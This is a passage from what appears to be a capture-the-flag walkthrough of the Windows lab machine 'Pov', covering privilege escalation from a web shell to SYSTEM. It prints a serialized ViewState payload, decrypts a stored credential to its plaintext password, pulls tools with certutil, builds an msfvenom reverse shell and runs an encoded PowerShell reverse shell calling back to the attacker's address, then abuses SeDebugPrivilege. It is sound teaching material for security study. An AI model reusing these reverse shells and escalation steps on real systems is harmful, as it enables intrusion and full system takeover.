NT9%2B4Dr3uJ26%2FoXczZAHVzLqQ%2F9T9D28jpQkXhrgM0EqBGj3L%2Be0GkHf5eJD9yIMZwz494aMcsPkcm44DiKsygiYLY95bLsnzYUfK9pyfRWVRggFHtvBaiGCpQpcFEsxKnxpSI%2F3irZRoSVthGi3OYTVkwGIuBEA16wnV12EDc2n907BkpE5X3zIGyMG5%2F%2BnKA4ZNTDHoSb0bkbiAqNMl%2Bs9oxlTiL5RX88ZhWU3YvqmQu4cxD8PuePPvmKned1uJRXT6AH22EeYDdOt1dKlWBNuX2O1CS5HLiK1fppPOSTB9tMZLurggArqZre39LMyoS%2F%2F%2FTT2nOqlrKeS4hwb0sXELvDvzLq9sfpO8IFe2RE7qXEgbPe9ivP%2Bqf%2BirCad88GaDoAV06fA%2FxvSlzrzYg3Zu%2BhoHye3BmS77Tknl1a0bSyV2hDIhFgwh3nreWrMaB0TNQwHq2gRLeMeogcz%2FfF5UGhodcrROFS9w2u%2Bo08vnlbtFXTjy3h15WgvT0l60vk%2F6P9COW%2BYfvsEBzhdOHU12cXAtQGUPW%2Bqah7PaQJ4ulEnZiThCuOz51mvWOfbm%2B6DxD%2Fo3YOlj9iSsgbnmV2a8nxVXHM0IPNwWmCiVt7jCvgbj0j%2FAUlgjIOFYia6zgeKe7RDuIj6f5c9ORKH%2FMwWPsKQgXX0ZYd0ZM7npGQ%2BKOpEG9G5OKjopjc5abGIrWdjNyO4O1zFuY0aGEUxQLtDSPCUKz89nHdlU9WodRts%2BV0OdwiRjcjOI7r4pmImgBcYMya76cCDWsG5uu0QS2MX%2FPS%2BJfAx4mUE8Ss%2BWWYqyE5%2FzK7alioYzRKp7vayqtqTWd5TohLQQwYAGi%2Fx9uPZeGrpeQIHIWyblfsiQUr2qBcgoNasCeU8mPXMOCy2Q77VIs29uERqov%2BnxeHAUvczDdRcrXflfaPX8tZ00lrh471giY0SQmFsIWPy59%2FtFT%2BDRSAQQSWxBUzWem%2FWJn7QzhK%2B2aHXRFfb%2BqOwRjGJbVY5Sp6%2FJios7MyjTO7zUYJKwaVOPprzdzdsqo7Har92onOUautxAwyj3k6sJIdwItiLEkukn5kIiW5YgGQWwKbbop1o2eiuo1tnqgTIjRfBLkAEx1IDL2NOHk0v7x47s3TwUUfFb5R%2BAuYp2NYXR1zitLsAm6rgba6eEY%2FMtMI8Bm6smbCoe7Dn2TYxp6ki%2B9C3NUya0HMqBqKfnz8V8kMpaq62gu7bdBh55P%2F%2FTLMxA6L0JQ1LI6%2FcLIf8PfKdzEAIZ%2BZNEfupPBrEIEqIFmrh3Fz9R%2BTV42%2Fr3KoSto0GnP%2FgVuUnSe%2FwqzNd6un0WcVEr7kHjpuWsr5HuXBprnImm%2BZs%2B053%2BT7DV%2BceCWf4VBzvIpgPchfhPOECKWAvEfTAIh6ckNzeHu0y3ZC0zqM%2FZtqpv2xyMtHk%2B%2BuH4YRaatdTiFG1%2FIzdacZlrrCA2MIFXNn2nb8oNeFcIkoT7S7dJelBphtjzRaAeynI4qjxj0GM3q3BzrsorGGk3v%2BXF4%2BpU7potP%2FtfYZ62aQdhmixB4FenRfIMeS9YVIr3nimajLUzXi%2FWkn%2BIW95O5vqi9DYeV0AjlqMC4M1aZYhfi5B4DmSYZFmiujQzSeIWgGTJWqdaa6YV2m0QJtU054KSYt4uIAazIjVZqT9Pxxk22AxGs1PpB544LPk9O3g5gsaN2iLLZ%2FgGDEVQzalHcxzUdgqH%2B%2FSaZ6FRImEt2lSHxdtQCDHNIwDgFjRv2dyra8hWcCpWUw%2BHtz0LS%2BdjIgGEFVumCHr9larc0nHCU6WY%2BWq5ZnWrYbhOFef1KV6%2BjN79Gj0z9PJ3wUEgMMnOBxAtnjirWjPOINM8zGnizT1cZ7%2Br%2B3kQ73XeRNezKUkonkT84F6E0KNiNp%2FpFSldmMlzGP2F3kj%2FMsBSJnRBVj8sMcBR5KxckibhSIrvnMBAMjiTftXQtUQd2FHIhKhkIT2zhJrBIAbb38O0Ry06lBinEABkEiNCk2i3b%2BcMMcXLRDq53q8w7QtaiQjxESEOYni3mz62U8kSNE4Hmz7otwCON%2BtRiRkCCPtd%2FQAP%2FYBmM9ifhSo45Ox8%2BkAcCXsJ14I13CIGTN4D%2Fxbi2OE%2FQDJuCtcKQrl%2F9AptQ6kzQYwGDgCePKakIabNU9h3rnMVdjD5Pgg0dfI5NUXvnaZm8lQH%2B8cTqDL%2BzRDRDur8%2FsFf6czDuZlaqHmZ7Erv4IilQYLG9oFLs%2Fj0kwQHQeKhIiBuLdnpv8ntJPT1b7vS7UPgbVi2IEWuYuxWORcak1SYnamWwffcyVbcw4p7e84ZkmKYSTHrYIxU3R45ALVJezkwG5eKJl8O2D7JY%2BDHMdcy6uc3TnWYr5t5LzLlbqdTzchWLH8LK%2BuGFuZlLXepB2F96vn8GPchZld5bhlCwHT1F2BEK3qgnRBo3CMRI7l%2BlzRIaNMezDm9mJsAuEfmuZyFUsEkOoSw2Rj%2BTfWTy%2Ft2ISXT3CD6WYe1fXQ%3D%3D
On updating my __VIEWSTATE
and submitting the request, there’s a shell at nc
:
oxdf@hacky$ sudo rlwrap -cAr nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.251 49671
PS C:\windows\system32\inetsrv> whoami
pov\sfitz
Shell as alaading
Enumeration
sfitz Info
whoami /all
gives a ton of information about sfitz:
PS C:\> whoami /all
USER INFORMATION
----------------
User Name SID
========= =============================================
pov\sfitz S-1-5-21-2506154456-4081221362-271687478-1000
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============================================================= ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\BATCH Well-known group S-1-5-3 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
BUILTIN\IIS_IUSRS Alias S-1-5-32-568 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
IIS APPPOOL\dev Well-known group S-1-5-82-781516728-2844361489-696272565-2378874797-2530480757 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
It’s interesting that the user is in an IIS APPPOOL group, but doesn’t have SeImpersonatePrivilege
. Nothing exciting here.
Home Directories
There are a few user home directories on Pov:
PS C:\users> ls
Directory: C:\users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/26/2023 4:31 PM .NET v4.5
d----- 10/26/2023 4:31 PM .NET v4.5 Classic
d----- 10/26/2023 4:21 PM Administrator
d----- 10/26/2023 4:57 PM alaading
d-r--- 10/26/2023 2:02 PM Public
d----- 12/25/2023 2:24 PM sfitz
The interesting ones are alaading
and Administrator
.
sfitz’s Desktop
is empty, but there’s a file in Documents
:
PS C:\users\sfitz\documents> ls
Directory: C:\users\sfitz\documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 12/25/2023 2:26 PM 1838 connection.xml
It is a PSCredential file for alaading:
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">alaading</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe1a35bc88000000000200000000001066000000010000200000003b44db1dda743e1442e77627255768e65ae76e179107379a964fa8ff156cee21000000000e8000000002000020000000c0bd8a88cfd817ef9b7382f050190dae03b7c81add6b398b2d32fa5e5ade3eaa30000000a3d1e27f0b3c29dae1348e8adf92cb104ed1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7a3a75c7e8e3c7d43bc23eaae88fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c786317447330113c5cfa25bc86fb0c6e1edda6</SS>
</Props>
</Obj>
</Objs>
Shell
Decrypt Password
The PowerShell credential is encrypted with key material on the box it was generated on. That means I can’t exfil it and decrypt it on my machine without a bunch of extra work.
Instead, I’ll use the Import-CliXml
PowerShell commandlet to read the file and get the plaintext password:
PS C:\users\sfitz\documents> $cred = Import-CliXml -Path connection.xml
PS C:\users\sfitz\documents> $cred.GetNetworkCredential().Password
f8gQ8fynP44ek1m3
RunasCs
I’ll download a copy of RunasCs.exe and host it with a Python webserver on my host. Then I can upload it to Pov:
PS C:\programdata> certutil -urlcache -f http://10.10.14.6/RunasCs.exe RunasCs.exe
**** Online ****
CertUtil: -URLCache command completed successfully.
PS C:\programdata> ls
Directory: C:\programdata
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---s- 10/26/2023 2:01 PM Microsoft
d----- 10/26/2023 2:04 PM Package Cache
d----- 10/26/2023 3:07 PM regid.1991-06.com.microsoft
d----- 9/15/2018 12:19 AM SoftwareDistribution
d----- 11/5/2022 12:03 PM ssh
d----- 9/15/2018 12:19 AM USOPrivate
d----- 11/5/2022 12:03 PM USOShared
d----- 10/26/2023 2:04 PM VMware
-a---- 6/3/2024 4:40 PM 51712 RunasCs.exe
I’ll run it:
PS C:\programdata> .\RunasCs.exe alaading f8gQ8fynP44ek1m3 cmd.exe -r 10.10.14.6:444
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-84cf4$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 1804 created in background.
At listening nc
:
oxdf@hacky$ rlwrap -cAr nc -lnvp 444
Listening on 0.0.0.0 444
Connection received on 10.10.11.251 49674
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
pov\alaading
I’ll switch to PowerShell:
C:\Windows\system32> powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32>
Shell as Administrator
Enumeration
alaading has the SeDebugPrivilege
enabled:
PS C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeDebugPrivilege Debug programs Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Interesting, before I switched to PowerShell from cmd
, it was there, but disabled:
C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeDebugPrivilege Debug programs Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Exploit SeDebug
Background
This 2008 blog post on devblogs.microsoft.com has the title “If you grant somebody SeDebugPrivilege, you gave away the farm”. Basically, because a user with that privilege can debug any process (including those running as system), they can inject code into those processes and run whatever they want as that user.
I’ll show two ways to abuse this privilege:
flowchart TD;
A[SeDebugPrivilege]-->D(<a href='#via-psgetsysps1'>psgetsys.ps1</a>);
B-->C[Shell as System];
A-->B(<a href='#via-meterpreter-migrate'>Meterpreter Migrate</a>);
D-->C;
linkStyle default stroke-width:2px,stroke:#FFFF99,fill:none;
via Meterpreter Migrate
One of the coolest features of Meterpreter is that it allows migrating from one process into another. Typically, this can only be done in processes running as the same user, unless Meterpreter is running as an administrator or System. However, the SeDebugPrivilege
is enough to allow this as well.
I’ll start by making a payload to get a Meterpreter shell on Pov:
oxdf@hacky$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.6 LPORT=9001 -f exe -o rev.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: rev.exe
This makes rev.exe
. I’ll serve it with Python and upload it to programdata
.
I’ll start msf-console
and use the exploit/multi/handler
exploit, setting the payload
, lhost
, and lport
:
oxdf@hacky$ msfconsole
...[snip]...
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST tun0
LHOST => tun0
msf6 exploit(multi/handler) > set LPORT 9001
LPORT => 9001
Now I’ll run it:
msf6 exploit(multi/handler) > run
On Pov, I’ll run rev.exe
:
PS C:\ProgramData> .\rev.exe
At Metasploit:
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.6:9001
[*] Sending stage (201798 bytes) to 10.10.11.251
[*] Meterpreter session 1 opened (10.10.14.6:9001 -> 10.10.11.251:49690) at 2024-06-03 17:05:50 -0400
meterpreter > getuid
Server username: POV\alaading
I need the PID of a process running as SYSTEM, like winlogon.exe
:
meterpreter > ps winlogon
Filtering on 'winlogon'
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
548 468 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\winlogon.exe
Now I’ll just migrate into it:
meterpreter > migrate 548
[*] Migrating from 5036 to 548...
[*] Migration completed successfully.
And I’m system:
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
I can drop to a shell and get root.txt
:
meterpreter > shell
Process 4080 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>cd \users\administrator\desktop
C:\Users\Administrator\Desktop>type root.txt
114c9d4f************************
via psgetsys.ps1
The HackTricks section on SeDebugPrivilege links to three exploits that will get a shell as system:
The last one is a PowerShell script, and therefore seems like the easiest place to start.
I’ll host it with a Python webserver and upload it and import it to my current session:
PS C:\programdata> certutil -urlcache -f http://10.10.14.6/psgetsys.ps1 psgetsys.ps1
**** Online ****
CertUtil: -URLCache command completed successfully.
PS C:\programdata> . .\psgetsys.ps1
I need the PID of a process running as System (548 for winlogon.exe
from above should be fine). According to documentation, I should be able to run something like:
PS C:\programdata> ImpersonateFromParentPid -ppid 548 -command "c:\windows\system32\cmd.exe" -cmdargs "/c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANgAiACwAOQAwADAAMgApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
[+] Got Handle for ppid: 548
[+] Updated proc attribute list
[+] Starting c:\windows\system32\cmd.exe /c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANgAiACwAOQAwADAAMgApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=...True - pid: 724 - Last error: 122
Error 122 is ERROR_INSUFFICIENT_BUFFER
, “The data area passed to a system call is too small.”. Shoutout to Deus who pointed out that I can also check this error code with certutil
:
PS C:\ProgramData> certutil -error 122
0x7a (WIN32/HTTP: 122 ERROR_INSUFFICIENT_BUFFER) -- 122 (122)
Error message text: The data area passed to a system call is too small.
CertUtil: -error command completed successfully.
So does that mean my command is too long? I can try a shorter one:
PS C:\ProgramData> ImpersonateFromParentPid -ppid 548 -command "c:\windows\system32\cmd.exe" -cmdargs "/c ping 10.10.14.6"
[+] Got Handle for ppid: 548
[+] Updated proc attribute list
[+] Starting c:\windows\system32\cmd.exe /c ping 10.10.14.6...True - pid: 3940 - Last error: 122
Same error, and no ICMP packets at my host. Some testing and playing around with this with IppSec suggests that it’s something about the shell process I have here.
I’ll upload Chisel to the box and use it to create a tunnel from 5985 on my host to 5985 on Pov. Then I can connect over Evil-WinRM:
oxdf@hacky$ evil-winrm -i 127.0.0.1 -u alaading -p f8gQ8fynP44ek1m3
Evil-WinRM shell v3.4
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\alaading\Documents>
From here, the same command as above outputs nothing:
*Evil-WinRM* PS C:\programdata> . .\psgetsys.ps1
*Evil-WinRM* PS C:\programdata> ImpersonateFromParentPid -ppid 548 -command "c:\windows\system32\cmd.exe" -cmdargs "/c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANgAiACwAOQAwADAAMgApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
But this time I get a shell at nc
:
oxdf@hacky$ rlwrap -cAr nc -lnvp 9002
Listening on 0.0.0.0 9002
Connection received on 10.10.11.251 49696
PS C:\Windows\system32> whoami
nt authority\system